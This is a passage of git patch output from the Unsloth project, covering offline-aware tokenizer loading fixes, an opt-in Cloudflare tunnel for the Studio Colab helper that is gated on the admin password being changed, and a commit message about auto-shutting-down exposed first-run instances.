-                    #     old_device = getattr(args[0], "_old_device", "cuda")
-                    #     return output.to(old_device, non_blocking = True)
-                    # embed_tokens.register_forward_pre_hook(pre_hook,  prepend = True)
-                    # embed_tokens.register_forward_hook    (post_hook, prepend = True)
-                    # Must free GPU memory otherwise will not free!
-                    torch.cuda.empty_cache()
-                    gc.collect()
-        else:
-            from unsloth_zoo.vllm_utils import (
-                load_vllm,
-                get_vllm_state_dict,
-                convert_vllm_to_huggingface,
-                generate_batches,
-                get_lora_supported_ranks,
-            )
-
-            if full_finetuning:
-                max_lora_rank = max(get_lora_supported_ranks())
-                raise NotImplementedError(
-                    "Unsloth: `fast_inference=True` cannot be used together with `full_finetuning=True`.\n"
-                    "Reason: fast_inference is optimized for inference-only workflows and "
-                    "does not currently support full fine-tuning.\n"
-                    "Workaround: disable fast_inference, or use parameter-efficient fine-tuning "
-                    f"(e.g. LoRA with rank r={max_lora_rank})."
+                        # Add hooks to move inputs to CPU and back to CUDA
+                        # [TODO] Doesn't seem to work!
+                        # def pre_hook(module, args):
+                        #     args[0]._old_device = args[0].device
+                        #     return (args[0].to("cpu", non_blocking = True))
+                        # def post_hook(module, args, output):
+                        #     old_device = getattr(args[0], "_old_device", "cuda")
+                        #     return output.to(old_device, non_blocking = True)
+                        # embed_tokens.register_forward_pre_hook(pre_hook,  prepend = True)
+                        # embed_tokens.register_forward_hook    (post_hook, prepend = True)
+                        # Must free GPU memory otherwise will not free!
+                        torch.cuda.empty_cache()
+                        gc.collect()
+            else:
+                from unsloth_zoo.vllm_utils import (
+                    load_vllm,
+                    get_vllm_state_dict,
+                    convert_vllm_to_huggingface,
+                    generate_batches,
+                    get_lora_supported_ranks,
                 )
 
-            model_config.model_name = model_name
+                if full_finetuning:
+                    max_lora_rank = max(get_lora_supported_ranks())
+                    raise NotImplementedError(
+                        "Unsloth: `fast_inference=True` cannot be used together with `full_finetuning=True`.\n"
+                        "Reason: fast_inference is optimized for inference-only workflows and "
+                        "does not currently support full fine-tuning.\n"
+                        "Workaround: disable fast_inference, or use parameter-efficient fine-tuning "
+                        f"(e.g. LoRA with rank r={max_lora_rank})."
+                    )
 
-            if fast_inference:
-                fast_inference, model_name = fast_inference_setup(model_name, model_config)
+                model_config.model_name = model_name
 
-            fp8_mode = None
-            if load_in_fp8 != False:
-                fp8_mode = _get_fp8_mode_and_check_settings(
-                    load_in_fp8,
-                    fast_inference,
-                    full_finetuning,
-                    load_in_4bit,
-                    load_in_8bit,
-                    load_in_16bit,
+                if fast_inference:
+                    fast_inference, model_name = fast_inference_setup(model_name, model_config)
+
+                fp8_mode = None
+                if load_in_fp8 != False:
+                    fp8_mode = _get_fp8_mode_and_check_settings(
+                        load_in_fp8,
+                        fast_inference,
+                        full_finetuning,
+                        load_in_4bit,
+                        load_in_8bit,
+                        load_in_16bit,
+                    )
+
+                allowed_args = inspect.getfullargspec(load_vllm).args
+                load_vllm_kwargs = dict(
+                    model_name = model_name,
+                    config = model_config,
+                    gpu_memory_utilization = gpu_memory_utilization,
+                    max_seq_length = max_seq_length,
+                    dtype = dtype,
+                    float8_kv_cache = float8_kv_cache,
+                    enable_lora = vllm_enable_lora,
+                    max_lora_rank = max_lora_rank,
+                    disable_log_stats = disable_log_stats,
+                    use_bitsandbytes = load_in_4bit,
+                    unsloth_vllm_standby = unsloth_vllm_standby,
+                    is_vision_model = is_vlm_config,
+                    fp8_mode = fp8_mode,
                 )
+                for allowed_arg in allowed_args:
+                    if allowed_arg not in load_vllm_kwargs and allowed_arg in kwargs:
+                        load_vllm_kwargs[allowed_arg] = kwargs[allowed_arg]
 
-            allowed_args = inspect.getfullargspec(load_vllm).args
-            load_vllm_kwargs = dict(
-                model_name = model_name,
-                config = model_config,
-                gpu_memory_utilization = gpu_memory_utilization,
-                max_seq_length = max_seq_length,
-                dtype = dtype,
-                float8_kv_cache = float8_kv_cache,
-                enable_lora = vllm_enable_lora,
-                max_lora_rank = max_lora_rank,
-                disable_log_stats = disable_log_stats,
-                use_bitsandbytes = load_in_4bit,
-                unsloth_vllm_standby = unsloth_vllm_standby,
-                is_vision_model = is_vlm_config,
-                fp8_mode = fp8_mode,
-            )
-            for allowed_arg in allowed_args:
-                if allowed_arg not in load_vllm_kwargs and allowed_arg in kwargs:
-                    load_vllm_kwargs[allowed_arg] = kwargs[allowed_arg]
+                # Load vLLM first
+                llm = load_vllm(**load_vllm_kwargs)
 
-            # Load vLLM first
-            llm = load_vllm(**load_vllm_kwargs)
+                # Convert to HF format
+                _, quant_state_dict = get_vllm_state_dict(
+                    llm,
+                    config = model_config,
+                    is_vision_model = is_vlm_config,
+                    load_in_fp8 = load_in_fp8,
+                )
+                model = convert_vllm_to_huggingface(
+                    quant_state_dict,
+                    model_config,
+                    dtype,
+                    bnb_config,
+                    is_vision_model = is_vlm_config,
+                )
+                model.vllm_engine = llm
+                llm.shared_weights = True
+                model.fast_generate = model.vllm_engine.generate
+                model.fast_generate_batches = functools.partial(generate_batches, model.vllm_engine)
 
-            # Convert to HF format
-            _, quant_state_dict = get_vllm_state_dict(
-                llm,
-                config = model_config,
-                is_vision_model = is_vlm_config,
-                load_in_fp8 = load_in_fp8,
-            )
-            model = convert_vllm_to_huggingface(
-                quant_state_dict,
-                model_config,
-                dtype,
-                bnb_config,
-                is_vision_model = is_vlm_config,
-            )
-            model.vllm_engine = llm
-            llm.shared_weights = True
-            model.fast_generate = model.vllm_engine.generate
-            model.fast_generate_batches = functools.partial(generate_batches, model.vllm_engine)
-
-        raise_handler.remove()
-
-        # Return old flag
-        os.environ["HF_HUB_ENABLE_HF_TRANSFER"] = old_hf_transfer
+        finally:
+            raise_handler.remove()
+            # Return old flag
+            os.environ["HF_HUB_ENABLE_HF_TRANSFER"] = old_hf_transfer
 
         # Check float32 norm weights
         if os.environ.get("UNSLOTH_HIGH_PRECISION_LAYERNORM", "0") == "1":
@@ -1171,70 +1217,101 @@ class FastBaseModel:
                     except Exception:
                         pass
 
-        _processor_load_error = None
-        if (whisper_language and whisper_task) or auto_model.__name__.endswith(
-            "ForConditionalGeneration"
-        ):
-            try:
-                tokenizer = auto_processor.from_pretrained(
-                    tokenizer_name,
-                    padding_side = "left",
-                    token = token,
-                    language = whisper_language,
-                    task = whisper_task,
-                    trust_remote_code = trust_remote_code,
-                )
-            except Exception as e:
-                _processor_load_error = e
-                tokenizer = None
-        else:
-            try:
-                tokenizer = auto_processor.from_pretrained(
-                    tokenizer_name,
-                    padding_side = "left",
-                    token = token,
-                    trust_remote_code = trust_remote_code,
-                )
-            except Exception as e:
-                _processor_load_error = e
-                tokenizer = get_auto_processor(
-                    tokenizer_name,
-                    padding_side = "left",
-                    token = token,
-                    trust_remote_code = trust_remote_code,
-                )
-
-        # If processor loading failed (e.g., tokenizer class not found),
-        # or if AutoProcessor silently degraded to a text-only tokenizer
-        # instead of returning a full VLM processor (issue #4085),
-        # try constructing the processor manually from separate components.
-        _processor_is_degraded = (
-            is_vlm and tokenizer is not None and not hasattr(tokenizer, "image_processor")
-        )
-        if (tokenizer is None or _processor_is_degraded) and is_vlm:
-            _fallback = _construct_vlm_processor_fallback(
-                tokenizer_name,
-                model_type_arch,
-                token,
-                trust_remote_code,
-            )
-            if _fallback is not None:
-                tokenizer = _fallback
-            # Missing torchvision silently degrades the VLM processor to a text-only
-            # tokenizer; surface the real cause instead of the later collator error (#4202).
-            if tokenizer is None or not hasattr(tokenizer, "image_processor"):
-                if _missing_torchvision_error(_processor_load_error):
-                    raise ImportError(
-                        f"Unsloth: Could not load the vision processor for `{tokenizer_name}` "
-                        "because torchvision is not installed. transformers requires torchvision "
-                        "for this model's vision (image/video) processors. Please install it, "
-                        "e.g. `pip install torchvision`."
+        # Functional load chain (AutoProcessor -> get_auto_processor -> manual VLM
+        # fallback); offline is already forced upstream. Surfaces the error for the retry.
+        def _acquire_processor(lfo):
+            _err = None  # underlying load failure (used by the entry-point retry)
+            if (whisper_language and whisper_task) or auto_model.__name__.endswith(
+                "ForConditionalGeneration"
+            ):
+                try:
+                    _tok = auto_processor.from_pretrained(
+                        tokenizer_name,
+                        padding_side = "left",
+                        token = token,
+                        language = whisper_language,
+                        task = whisper_task,
+                        trust_remote_code = trust_remote_code,
+                        local_files_only = lfo,
                     )
-                import sys
-                print(
-                    f"Unsloth: Warning - VLM processor fallback returned None for model_type={model_type_arch}",
-                    file = sys.stderr,
+                except Exception as _e:
+                    _tok = None
+                    _err = _e
+            else:
+                try:
+                    _tok = auto_processor.from_pretrained(
+                        tokenizer_name,
+                        padding_side = "left",
+                        token = token,
+                        trust_remote_code = trust_remote_code,
+                        local_files_only = lfo,
+                    )
+                except Exception as _e:
+                    _err = _e
+                    try:
+                        _tok = get_auto_processor(
+                            tokenizer_name,
+                            padding_side = "left",
+                            token = token,
+                            trust_remote_code = trust_remote_code,
+                            local_files_only = lfo,
+                        )
+                    except Exception:
+                        # Swallow so the manual fallback / entry-point retry can run.
+                        _tok = None
+
+            # Build the processor manually if it failed to load or silently degraded to
+            # a text-only tokenizer (no image_processor) for a VLM (issue #4085).
+            _processor_is_degraded = (
+                is_vlm and _tok is not None and not hasattr(_tok, "image_processor")
+            )
+            if (_tok is None or _processor_is_degraded) and is_vlm:
+                try:
+                    _fallback, _fb_err = _construct_vlm_processor_fallback(
+                        tokenizer_name,
+                        model_type_arch,
+                        token,
+                        trust_remote_code,
+                        local_files_only = lfo,
+                    )
+                except Exception as _fe:
+                    _fallback, _fb_err = None, _fe
+                if _fallback is not None:
+                    _tok = _fallback
+                elif _err is None or (_fb_err is not None and _is_offline_related_error(_fb_err)):
+                    # Prefer a network fallback error over a permanent primary one so the
+                    # offline retry still fires.
+                    _err = _fb_err
+            return _tok, _err
+
+        def _is_degraded_vlm(_t):
+            # VLM that loaded only a text-only tokenizer (no image_processor).
+            return is_vlm and _t is not None and not hasattr(_t, "image_processor")
+
+        tokenizer, _primary_err = _acquire_processor(local_files_only)
+        # Online network failure/degrade: raise so @_offline_aware_load retries from cache.
+        # Permanent / missing-file errors propagate; when already offline keep what we got.
+        if (
+            (tokenizer is None or _is_degraded_vlm(tokenizer))
+            and not local_files_only
+            and _is_offline_related_error(_primary_err)
+        ):
+            raise _primary_err
+        # Missing torchvision silently degrades a VLM processor to text-only; surface the
+        # real cause instead of a later collator error (#4202), incl. on a silent degrade.
+        if is_vlm and (tokenizer is None or not hasattr(tokenizer, "image_processor")):
+            if _missing_torchvision_error(_primary_err):
+                raise ImportError(
+                    f"Unsloth: Could not load the vision processor for `{tokenizer_name}` "
+                    "because torchvision is not installed. transformers requires torchvision "
+                    "for this model's vision (image/video) processors. Please install it, "
+                    "e.g. `pip install torchvision`."
                 )
+            import sys
+            print(
+                f"Unsloth: Warning - VLM processor fallback returned None for model_type={model_type_arch}",
+                file = sys.stderr,
+            )
         # Backwards compat: if processor has no chat_template (e.g. old saves without
         # chat_template.jinja) but the inner tokenizer does, copy it to the processor.
         if (
@@ -1271,8 +1348,7 @@ class FastBaseModel:
         try:
             model, tokenizer = patch_tokenizer(model, tokenizer)
         except Exception as _patch_err:
-            # Some VLM processors (e.g., ERNIE VL) may fail during tokenizer patching.
-            # Try loading tokenizer separately via AutoTokenizer as fallback.
+            # Some VLM processors (e.g. ERNIE VL) fail patching; fall back to AutoTokenizer.
             try:
                 from transformers import AutoTokenizer as _AutoTokenizer
 
@@ -1281,6 +1357,7 @@ class FastBaseModel:
                     padding_side = "left",
                     token = token,
                     trust_remote_code = trust_remote_code,
+                    local_files_only = local_files_only,
                 )
                 model, _fallback_tok = patch_tokenizer(model, _fallback_tok)
                 # Re-attach as processor wrapper if original was a processor
@@ -1288,8 +1365,10 @@ class FastBaseModel:
                     tokenizer.tokenizer = _fallback_tok
                 else:
                     tokenizer = _fallback_tok
-            except Exception:
-                # If fallback also fails, raise the original error
+            except Exception as _fb_err:
+                # Online network failure: propagate for the offline retry; else raise the patch error.
+                if not local_files_only and _is_offline_related_error(_fb_err):
+                    raise
                 raise _patch_err
         model = post_patch_loss_function(model)
 
@@ -1298,29 +1377,44 @@ class FastBaseModel:
             model.config.update({"unsloth_version": __version__})
         patch_saving_functions(model, vision = True)
         if tokenizer is None:
-            # Last resort: try loading tokenizer via AutoTokenizer, then PreTrainedTokenizerFast
-            try:
+            # Last resort: AutoTokenizer, then PreTrainedTokenizerFast (raise on network failure to retry).
+            def _last_resort_tokenizer(lfo):
                 from transformers import AutoTokenizer as _AutoTokenizer
-                tokenizer = _AutoTokenizer.from_pretrained(
-                    tokenizer_name,
-                    padding_side = "left",
-                    token = token,
-                    trust_remote_code = trust_remote_code,
-                )
-            except Exception:
                 try:
-                    from transformers import PreTrainedTokenizerFast
-                    tokenizer = PreTrainedTokenizerFast.from_pretrained(
+                    return _AutoTokenizer.from_pretrained(
                         tokenizer_name,
                         padding_side = "left",
                         token = token,
                         trust_remote_code = trust_remote_code,
+                        local_files_only = lfo,
                     )
                 except Exception:
-                    del model
-                    raise RuntimeError(
-                        "Unsloth: The tokenizer is weirdly not loaded? Please check if there is one."
+                    from transformers import PreTrainedTokenizerFast
+                    return PreTrainedTokenizerFast.from_pretrained(
+                        tokenizer_name,
+                        padding_side = "left",
+                        token = token,
+                        trust_remote_code = trust_remote_code,
+                        local_files_only = lfo,
                     )
+
+            _last_resort_err = None
+            try:
+                tokenizer = _last_resort_tokenizer(local_files_only)
+            except Exception as _e:
+                _last_resort_err = _e
+                # Online network failure: let the entry point retry forced-offline.
+                if not local_files_only and _is_offline_related_error(_e):
+                    raise
+            if tokenizer is None:
+                del model
+                raise RuntimeError(
+                    "Unsloth: Could not load the tokenizer/processor. If you are "
+                    "offline, make sure the tokenizer files exist in the checkpoint "
+                    "folder or were previously downloaded to the Hugging Face cache, "
+                    "or set HF_HUB_OFFLINE=1 to force local loading. "
+                    "Otherwise please check that the model has a tokenizer."
+                ) from _last_resort_err
         patch_saving_functions(tokenizer, vision = True)
 
         # Fix gradient accumulation. See issue #4982.

From c86165e735fb263a4b50bce7cb059dff5905d662 Mon Sep 17 00:00:00 2001
From: Leo Borcherding <borchborchmail@gmail.com>
Date: Fri, 26 Jun 2026 02:56:23 -0500
Subject: [PATCH 117/306] Studio Colab: opt-in shareable Cloudflare tunnel link
 (#6684)

* Studio Colab: add opt-in shareable Cloudflare tunnel link

colab.start(cloudflare=True) opts in to a free Cloudflare quick tunnel and
shows a trycloudflare.com link above the proxy iframe, reachable from any
device. Default OFF: bare start() keeps the in-tab Colab-proxy behavior.
run_server suppresses the tunnel on Colab by design, so colab.py starts it
directly via cloudflare_tunnel.start_studio_tunnel(); failures degrade to
the Colab proxy only.

* Studio Colab notebook: surface opt-in cloudflare=True in start cell

* Studio Colab: reskin shareable Cloudflare link to match the proxy banner

Retrofit _shareable_link_html to reuse the original Colab proxy banner skin
from show_link (white card, black border, Unsloth gem, black Open button)
instead of the plain dark box, so the shareable Cloudflare link gets the same
prominent 'Ready!' treatment.

* Studio Colab: address review feedback on Cloudflare tunnel

- try/finally around tunnel start + embed + keepalive so a KeyboardInterrupt
  while the tunnel is starting or the iframe is rendering tears it down instead
  of orphaning the cloudflared process (Gemini review).
- Publish the directly-started tunnel URL onto app.state.cloudflare_url via a new
  _publish_cloudflare_url helper so /api/health advertises it; otherwise the
  frontend's API examples fall back to the unreachable raw server_url (Codex P2).
  _stop_cloudflare_tunnel now also clears it so health stops showing a dead tunnel.
- Notebook: make cloudflare=True a replacement for start(), not an addition, since
  start() blocks and the second call would never run if both are left in (Codex P2).

* Studio Colab: gate Cloudflare tunnel on auth + honor opt-out in run_server

- Refuse to open the Cloudflare tunnel while the admin still holds its seeded
  bootstrap password. While requires_password_change is true the server injects
  that password into same-origin index GETs, and a public tunnel request counts
  as same-origin, so sharing the link would leak admin access. New
  _bootstrap_password_pending() gate (fails safe) blocks the tunnel and tells the
  user to change the password first, then re-run start(cloudflare=True) (P1).
- Pass cloudflare=False into run_server so the opt-out holds even when Colab
  detection fails; this helper is now the sole owner of the tunnel decision,
  preventing run_server from opening a tunnel on the 0.0.0.0 bind by default (P2).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio Colab: drop duplicate tunnel link log and simplify start cell guidance

* Studio Colab: validate /api/health identity before reusing or tunneling a port

* Studio Colab: condense verbose docstrings and comments

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
---
 studio/Unsloth_Studio_Colab.ipynb |   2 +-
 studio/backend/colab.py           | 176 ++++++++++++++++++++++++++----
 2 files changed, 156 insertions(+), 22 deletions(-)

diff --git a/studio/Unsloth_Studio_Colab.ipynb b/studio/Unsloth_Studio_Colab.ipynb
index 00eecfe51d..619395bd6d 100644
--- a/studio/Unsloth_Studio_Colab.ipynb
+++ b/studio/Unsloth_Studio_Colab.ipynb
@@ -84,7 +84,7 @@
     "id": "277e431e"
    },
    "outputs": [],
-   "source": "import sys\nsys.path.insert(0, \"/content/unsloth/studio/backend\")\nfrom colab import start\nstart()"
+   "source": "import sys\nsys.path.insert(0, \"/content/unsloth/studio/backend\")\nfrom colab import start\n\n# Default: in-tab iframe only. start() blocks to keep the kernel alive.\nstart()\n\n# For a shareable Cloudflare link, replace start() above with:\n# start(cloudflare=True)"
   },
   {
    "cell_type": "markdown",
diff --git a/studio/backend/colab.py b/studio/backend/colab.py
index ba46c52a6a..dd274399bc 100644
--- a/studio/backend/colab.py
+++ b/studio/backend/colab.py
@@ -103,24 +103,132 @@ def show_link(port: int = 8888, *, _url: "str | None" = None):
     display(HTML(html))
 
 
-def _is_studio_healthy(port: int, timeout: float = 2.0) -> bool:
-    """Return True if a Studio backend is already answering health checks on *port*."""
-    import urllib.request
+def _bootstrap_password_pending() -> bool:
+    """True while the default admin still owes a bootstrap-password change.
+
+    While pending, main.py injects that password into same-origin GETs, and a public
+    tunnel GET (no Origin) reads as same-origin, so sharing the link would leak admin
+    access. Fails safe to pending if the state cannot be read.
+    """
     try:
-        with urllib.request.urlopen(f"http://localhost:{port}/api/health", timeout = timeout):
-            return True
+        from auth.storage import requires_password_change, DEFAULT_ADMIN_USERNAME
+        return bool(requires_password_change(DEFAULT_ADMIN_USERNAME))
+    except Exception as e:
+        logger.info(f"Could not check admin password state ({e}); refusing tunnel to be safe.")
+        return True
+
+
+def start_cloudflare_tunnel(port: int) -> "str | None":
+    """Open a shareable Cloudflare quick tunnel to localhost:*port*, or None.
+
+    run_server suppresses the tunnel on Colab by design, so we start it directly.
+    Refused while the bootstrap password is pending; any failure collapses to None
+    and the Colab proxy still works.
+    """
+    if _bootstrap_password_pending():
+        logger.warning(
+            "Cloudflare link not started: the admin account still has its temporary "
+            "bootstrap password, which is exposed to anyone who can load the page. "
+            "Open Studio in this tab, log in and change the admin password, then re-run "
+            "start(cloudflare=True) to get the shareable link."
+        )
+        return None
+    try:
+        from cloudflare_tunnel import start_studio_tunnel
+    except Exception as e:
+        logger.info(f"Cloudflare tunnel unavailable ({e}); using Colab proxy only.")
+        return None
+    try:
+        url = start_studio_tunnel(port)
+    except Exception as e:
+        logger.info(f"Cloudflare tunnel failed to start ({e}); using Colab proxy only.")
+        return None
+    # Success is logged by _show_and_embed; note only misses here.
+    if not url:
+        logger.info("Cloudflare tunnel did not produce a URL; using Colab proxy only.")
+    return url
+
+
+def _publish_cloudflare_url(cloudflare_url: "str | None") -> None:
+    """Publish a directly-started tunnel URL onto app.state so /api/health advertises it.
+
+    run_server only sets this when it opens the tunnel itself, which it skips on Colab,
+    so we set it here. Otherwise the frontend's API examples fall back to an
+    unreachable server_url. Best-effort.
+    """
+    if not cloudflare_url:
+        return
+    try:
+        from main import app as _studio_app
+        _studio_app.state.cloudflare_url = cloudflare_url
+    except Exception as e:
+        logger.info(f"Could not publish Cloudflare URL to /api/health ({e}).")
+
+
+def _stop_cloudflare_tunnel() -> None:
+    """Best-effort teardown of the Cloudflare tunnel started by start_cloudflare_tunnel."""
+    try:
+        from cloudflare_tunnel import stop_studio_tunnel
+        stop_studio_tunnel()
+    except Exception:
+        pass
+    # Stop /api/health advertising a dead tunnel.
+    try:
+        from main import app as _studio_app
+        _studio_app.state.cloudflare_url = None
+    except Exception:
+        pass
+
+
+def _is_studio_healthy(port: int, timeout: float = 2.0) -> bool:
+    """True only if Unsloth Studio (not some other app) answers /api/health on *port*.
+
+    The service-marker check stops the reuse path reusing or tunneling a foreign
+    process that merely serves /api/health.
+    """
+    import json, urllib.request
+    try:
+        with urllib.request.urlopen(f"http://localhost:{port}/api/health", timeout = timeout) as r:
+            return json.loads(r.read()).get("service") == "Unsloth UI Backend"
     except Exception:
         return False
 
 
-def _show_and_embed(port: int):
-    """Embed the Studio inline for *port* with a branded header bar.
-
-    Fetches the proxy URL once (registering the port), then renders header bar +
-    iframe. Falls back to serve_kernel_port_as_iframe if IPython HTML is unavailable.
+def _shareable_link_html(cloudflare_url: str) -> str:
+    """Branded card for the shareable Cloudflare link, styled like the show_link banner."""
+    return f"""
+    <div style="display: inline-block; padding: 20px; background: #ffffff; border: 2px solid #000000;
+                border-radius: 12px; margin: 10px 0; font-family: system-ui, -apple-system, sans-serif;">
+        <h2 style="color: #000000; margin: 0 0 12px 0; font-size: 26px; font-weight: 800;
+                   display: flex; align-items: center; gap: 12px;">
+            <img src="https://github.com/unslothai/unsloth/raw/main/studio/frontend/public/unsloth-gem.png"
+                 height="48" style="display:block;">
+            Shareable Studio Link is Ready!
+        </h2>
+        <a href="{cloudflare_url}" onclick="var w=window.open(this.href,'_blank');if(!w){{return true;}}return false;"
+           style="display: inline-flex; align-items: center; gap: 10px; padding: 14px 28px;
+                  background: #000000; color: white; text-decoration: none; border-radius: 8px;
+                  font-weight: 800; font-size: 16px; cursor: pointer;">
+            <svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 24 24" fill="white"><polygon points="5,3 19,12 5,21"/></svg>
+            Open Unsloth Studio
+        </a>
+        <p style="color: #333333; margin: 12px 0 0 0; font-size: 14px; font-weight: bold;">
+            This Cloudflare HTTPS link works from any device — share it with anyone. The Colab view below only works in this tab.
+        </p>
+        <p style="color: #333333; margin: 16px 0 0 0; font-size: 13px; font-family: monospace; font-weight: bold;">
+            🔗 {cloudflare_url}
+        </p>
+    </div>
     """
+
+
+def _show_and_embed(port: int, *, cloudflare_url: "str | None" = None):
+    """Render the Studio header + iframe for *port*, with a shareable-link card above
+    when *cloudflare_url* is set. Falls back to serve_kernel_port_as_iframe."""
     url = get_colab_url(port)
     logger.info(f"🌐 Unsloth Studio URL: {url}")
+    if cloudflare_url:
+        logger.info(f"🔗 Shareable Cloudflare link: {cloudflare_url}")
 
     try:
         from IPython.display import HTML, display
@@ -136,6 +244,9 @@ def _show_and_embed(port: int):
         except (ValueError, IndexError):
             short_url = url
 
+        if cloudflare_url:
+            display(HTML(_shareable_link_html(cloudflare_url)))
+
         display(
             HTML(f"""
 <div style="font-family:system-ui,-apple-system,sans-serif;margin:8px 0;
@@ -164,13 +275,18 @@ def _show_and_embed(port: int):
             pass
 
 
-def start(port: int = 8888):
-    """
-    Start Unsloth Studio server in Colab and display the URL.
+def start(port: int = 8888, *, cloudflare: bool = False):
+    """Start Unsloth Studio in Colab and display the URL.
+
+    Args:
+        port: Port to bind/serve on.
+        cloudflare: Opt in to a shareable Cloudflare HTTPS link reachable from any
+            device (default OFF). It exposes Studio's login page beyond Colab, so it
+            stays an explicit opt-in; the default shows only the in-tab proxy iframe.
 
     Usage:
-        from colab import start
-        start()
+        start()                    # Colab-proxy iframe only (default)
+        start(cloudflare=True)     # also open a shareable Cloudflare link
     """
     import time
 
@@ -180,13 +296,18 @@ def start(port: int = 8888):
     # the port, so just re-show the link and iframe.
     if _is_studio_healthy(port):
         logger.info(f"   Studio is already running on port {port} — reusing existing server.")
-        _show_and_embed(port)
+        # try/finally: tear the tunnel down even if interrupted mid-start/render.
         try:
+            cf_url = start_cloudflare_tunnel(port) if cloudflare else None
+            _publish_cloudflare_url(cf_url)
+            _show_and_embed(port, cloudflare_url = cf_url)
             for _ in range(10000):
                 time.sleep(300)
                 print("=", end = "", flush = True)
         except KeyboardInterrupt:
             logger.info("\nUnsloth Studio keepalive stopped.")
+        finally:
+            _stop_cloudflare_tunnel()
         return
 
     logger.info("   Loading backend...")
@@ -202,7 +323,15 @@ def start(port: int = 8888):
 
     logger.info("   Starting server...")
     try:
-        app = run_server(host = "0.0.0.0", port = port, frontend_path = frontend_path, silent = True)
+        # cloudflare=False: this helper owns the tunnel. run_server's default True
+        # would tunnel this 0.0.0.0 bind if Colab detection fails, breaking the opt-out.
+        app = run_server(
+            host = "0.0.0.0",
+            port = port,
+            frontend_path = frontend_path,
+            silent = True,
+            cloudflare = False,
+        )
     except SystemExit as exc:
         logger.error(f"❌ Unsloth Studio failed to start: {exc}")
         return
@@ -236,16 +365,21 @@ def start(port: int = 8888):
         )
         return
 
-    _show_and_embed(actual_port)
-
-    # Keep kernel alive so the daemon server thread runs; handle KeyboardInterrupt
-    # cleanly so interrupting the cell gives a readable message.
+    # Open the tunnel now the server is healthy, publish its URL for /api/health, and
+    # tear it down on interrupt (try/finally) rather than orphan the process.
     try:
+        cf_url = start_cloudflare_tunnel(actual_port) if cloudflare else None
+        _publish_cloudflare_url(cf_url)
+        _show_and_embed(actual_port, cloudflare_url = cf_url)
+
+        # Keep kernel alive so the daemon server thread runs.
         for _ in range(10000):
             time.sleep(300)
             print("=", end = "", flush = True)
     except KeyboardInterrupt:
         logger.info("\nUnsloth Studio keepalive stopped.")
+    finally:
+        _stop_cloudflare_tunnel()
 
 
 if __name__ == "__main__":

From 7f456352801664c7b60a978a5541449f000a0c14 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Fri, 26 Jun 2026 01:27:27 -0700
Subject: [PATCH 118/306] Studio: auto-shut-down an exposed first-run instance
 if the admin password is never changed (#6651)

* Studio: set the admin password before exposing it on the network

On first run Studio seeds the default `unsloth` admin with a random
bootstrap password and embeds it into index.html (window.__UNSLOTH_BOOTSTRAP__)
so the local user can change it without typing it. A request with no Origin
header counts as same-origin, which is what a normal top-level GET sends, so
the page hands out the password to whoever loads it. That is harmless on the
default 127.0.0.1 bind, but `--secure` (public Cloudflare tunnel) and
`--host 0.0.0.0` (raw port reachable on the network) would serve the plaintext
admin password to remote visitors during the bootstrap window.

Fix this at the source: when launching a network-exposed web UI, prompt the
operator in the terminal for a real admin password (with confirmation) before
the socket binds or the tunnel opens, and persist it via update_password (which
clears must_change_password and deletes the .bootstrap_password file). After
that there is no bootstrap secret to leak. Non-interactive launches can supply
it via UNSLOTH_STUDIO_ADMIN_PASSWORD. The masked reader echoes '*' per
character and works on Linux, macOS, and Windows (PowerShell/cmd). Loopback
binds, --api-only (no web UI), and Colab are unaffected.

As defense in depth, the index handler now embeds the bootstrap object only for
a direct local navigation: same-origin AND a loopback TCP peer with no
proxy/tunnel forwarding headers (cf-ray, cf-connecting-ip, x-forwarded-for,
x-forwarded-host, x-real-ip, forwarded). Colab stays exempt. This keeps the
password off the wire even when the prompt is skipped (no TTY and no env var).

Adds unit coverage for the prompt/confirm/decision logic, an integration test
that provisioning clears the bootstrap state, and regression tests for the
local-direct gate (loopback/IPv6/mapped/localhost peers, LAN/public peers,
missing client, each forwarding header, spoofed XFF, and the Colab exemption).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: fail fast on an explicitly empty admin-password env var

resolve_admin_password_source treated UNSLOTH_STUDIO_ADMIN_PASSWORD="" like
the var was unset and fell back to the bootstrap backstop. Treat any set value
(including empty) as the env source so it reaches the minimum-length guard and
refuses to expose the server instead of silently keeping the seeded password.

* Studio: apply repo kwarg-spacing format to the secure-admin-password files

* Studio: drop the pre-exposure password prompt; keep the local-direct gate

Per review, the blocking prompt added friction for --secure / 0.0.0.0 first-run
launches without extra security: the local-direct injection gate in main.py
already keeps the bootstrap password off the network for any remote request.
Remove the prompt module and its tests; the gate plus the existing
must_change_password first-login flow are the fix.

* Studio: shut down an exposed first-run instance if the admin password is never changed

The local-direct gate keeps the seeded bootstrap password off the network, but
it stays a valid credential until first login changes it. For an exposed web UI
(--secure / 0.0.0.0, not --api-only, not Colab), arm a daemon timer: if the
password is still the seeded one after the deadline (UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT,
default 3600s, 0 disables), print a message and shut Studio down via the existing
graceful-shutdown path; if it was changed, leave Studio running.

* Studio: revert the local-direct injection gate; keep the 1-hour auto-shutdown

Per maintainer decision, keep the first-run auto-fill behavior unchanged (the
bootstrap password still seeds the login form for convenience) and rely on the
exposed-instance auto-shutdown to bound the window: an exposed web UI that never
changes the seeded admin password is torn down after UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT
(default 1h). Restores studio/backend/main.py and its origin test to upstream.

* Studio: render the bootstrap-timeout shutdown message with a human duration

The message hardcoded 'minute(s)' via timeout//60, so a sub-minute timeout
(e.g. a 30s test value) printed 'within 1 minute(s)'. Add _format_duration so
it reads '30 seconds' / '1 minute 30 seconds' / '60 minutes' as appropriate.
The default 3600s still renders '60 minutes'.

* Studio: drop stale local-direct gate reference from bootstrap_timeout docstring

The gate was reverted (timer-only), so the module docstring should not describe
a main.py gate that no longer exists.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/auth/bootstrap_timeout.py      | 145 ++++++++++++++
 studio/backend/run.py                         |  37 ++++
 .../backend/tests/test_bootstrap_timeout.py   | 185 ++++++++++++++++++
 3 files changed, 367 insertions(+)
 create mode 100644 studio/backend/auth/bootstrap_timeout.py
